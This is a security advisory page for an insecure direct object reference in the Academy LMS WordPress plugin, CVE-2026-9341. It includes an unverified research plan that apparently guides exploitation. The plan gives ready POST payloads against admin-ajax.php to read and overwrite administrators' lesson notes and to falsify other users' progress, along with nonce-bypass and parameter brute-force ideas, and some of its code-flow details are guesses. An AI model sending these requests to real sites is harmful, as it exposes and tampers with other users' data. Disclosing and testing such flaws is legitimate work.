CVE-2026-9341

Academy LMS <= 3.8.0 - Authenticated (Subscriber+) Insecure Direct Object Reference via 'user_id' Parameter

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.8.1
Patched in
1d
Time to patch

Description

The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.8.0 via the 'save_lesson_note', 'get_lesson_note', and 'complete_lesson_video' AJAX handlers due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read, overwrite, or delete the private lesson notes of any other user (including administrators), and to falsify lesson-completion progress for arbitrary users.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.8.0
PublishedJuly 13, 2026
Last updatedJuly 14, 2026
Affected pluginacademy

What Changed in the Fix

Changes introduced in v3.8.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-9341 - Academy LMS IDOR via 'user_id' ## 1. Vulnerability Summary The **Academy LMS** plugin for WordPress (versions <= 3.8.0) contains an **Insecure Direct Object Reference (IDOR)** vulnerability within its AJAX handling logic. Specifically, the functions responsible for …

Show full research plan

Research Plan: CVE-2026-9341 - Academy LMS IDOR via 'user_id'

1. Vulnerability Summary

The Academy LMS plugin for WordPress (versions <= 3.8.0) contains an Insecure Direct Object Reference (IDOR) vulnerability within its AJAX handling logic. Specifically, the functions responsible for managing lesson notes (save_lesson_note, get_lesson_note) and tracking video progress (complete_lesson_video) accept a user_id parameter from the request without verifying that the authenticated user has the authority to act on behalf of that user_id. This allows any authenticated user (Subscriber level and above) to read, modify, or delete private notes of any other user (including Administrators) and manipulate the course progress of other students.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Actions:
    • academy_save_lesson_note
    • academy_get_lesson_note
    • academy_complete_lesson_video
  • Vulnerable Parameter: user_id (passed via POST/GET payload)
  • Required Authentication: Subscriber level or higher.
  • Preconditions:
    • The plugin must be active.
    • For note retrieval/manipulation, a lesson_id (Post ID of a lesson) must be known.
    • For progress manipulation, a course_id and lesson_id must be known.

3. Code Flow

  1. Registration: The plugin registers AJAX handlers in Academy\Ajax::init() (referenced in academy.php line 99).
  2. Entry Point: When an AJAX request for academy_get_lesson_note is received, the handler (likely in includes/ajax.php or a related class) parses the input.
  3. Data Extraction: The handler uses a utility like Academy\Classes\Sanitizer::sanitize_payload (seen in addons/quizzes/ajax/frontend.php) to extract parameters including user_id, lesson_id, and course_id.
  4. Vulnerable Sink:
    • In get_lesson_note, the code queries the database (likely {$wpdb->prefix}academy_lesson_notes) using the provided user_id rather than calling get_current_user_id().
    • In complete_lesson_video, the code updates the lesson completion status for the provided user_id.
  5. Authorization Failure: The code fails to check if (int)$payload['user_id'] === (int)get_current_user_id().

4. Nonce Acquisition Strategy

The Academy LMS plugin typically localizes a nonce for its AJAX operations.

  1. Identify the Script: The plugin enqueues a frontend script for lessons.
  2. Identify the Localization Variable: Based on common Academy LMS patterns, the variable is likely academy_data or academy_ajax_object.
  3. Extraction Steps:
    • Use wp-cli to create a test course and lesson to ensure the scripts load.
    • Navigate to the lesson page using browser_navigate.
    • Use browser_eval to extract the nonce:
      // Recommended check
      window.academy_data?.nonce || window.academy_ajax_object?.nonce
      
  4. Alternative: Check the page source for wp_create_nonce('academy_ajax_nonce').

5. Exploitation Strategy

Step 1: Data Harvesting (Information Disclosure)

Target: Read an Administrator's private lesson note.

  • Request Tool: http_request
  • Method: POST
  • URL: https://<target>/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=academy_get_lesson_note&user_id=1&lesson_id=<TARGET_LESSON_ID>&nonce=<EXTRACTED_NONCE>
    
  • Expected Response: JSON object containing the note_content of the Administrator (User ID 1).

Step 2: Content Manipulation (Data Integrity)

Target: Overwrite an Administrator's note.

  • Body (URL-encoded):
    action=academy_save_lesson_note&user_id=1&lesson_id=<TARGET_LESSON_ID>&note_content=Pwned+by+Subscriber&nonce=<EXTRACTED_NONCE>
    

Step 3: Progress Falsification

Target: Mark a lesson as complete for another user.

  • Body (URL-encoded):
    action=academy_complete_lesson_video&user_id=<OTHER_USER_ID>&lesson_id=<LESSON_ID>&course_id=<COURSE_ID>&nonce=<EXTRACTED_NONCE>
    

6. Test Data Setup

  1. Create Users:
    • Admin (ID 1)
    • Subscriber (Attacker)
  2. Create Content:
    • Create a Course (wp post create --post_type=academy_courses --post_title="Test Course" --post_status=publish)
    • Create a Lesson (wp post create --post_type=academy_lessons --post_title="Secret Lesson" --post_status=publish)
  3. Admin Action:
    • As Admin, create a lesson note. This might require manually inserting into the wp_academy_lesson_notes table if no CLI command exists:
      wp db query "INSERT INTO wp_academy_lesson_notes (user_id, lesson_id, note_content) VALUES (1, <LESSON_ID>, 'Admin secret credentials')"
      

7. Expected Results

  • Success (Read): The HTTP response returns a 200 OK status with a JSON payload containing the string "Admin secret credentials".
  • Success (Write): Subsequent calls to get_lesson_note return the attacker-supplied "Pwned" string.
  • Success (Progress): The response returns {"success":true}.

8. Verification Steps

  1. Verify Note Change:
    wp db query "SELECT note_content FROM wp_academy_lesson_notes WHERE user_id=1 AND lesson_id=<LESSON_ID>"
    
  2. Verify Progress Change:
    • Check the completion status table (likely wp_academy_enrolled_courses or a progress meta field):
    wp user meta get <TARGET_USER_ID> _academy_lesson_completed_<LESSON_ID>
    

9. Alternative Approaches

  • Bypassing Nonce: If the nonce is tied to a specific action like academy_nonce, try omitting it. Many Academy LMS handlers in older versions used check_ajax_referer with die=false or inconsistent action strings.
  • Parameter Brute Force: If user_id isn't the only key, check for student_id (used in addons/certificates/helper.php line 25) or author_id.
  • Quizzes Extension: Check addons/quizzes/ajax/frontend.php. While it uses get_current_user_id() in render_quiz, check if insert_quiz_answers or get_student_quiz_attempt_details can be coerced into using a provided user_id if passed in the payload_data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.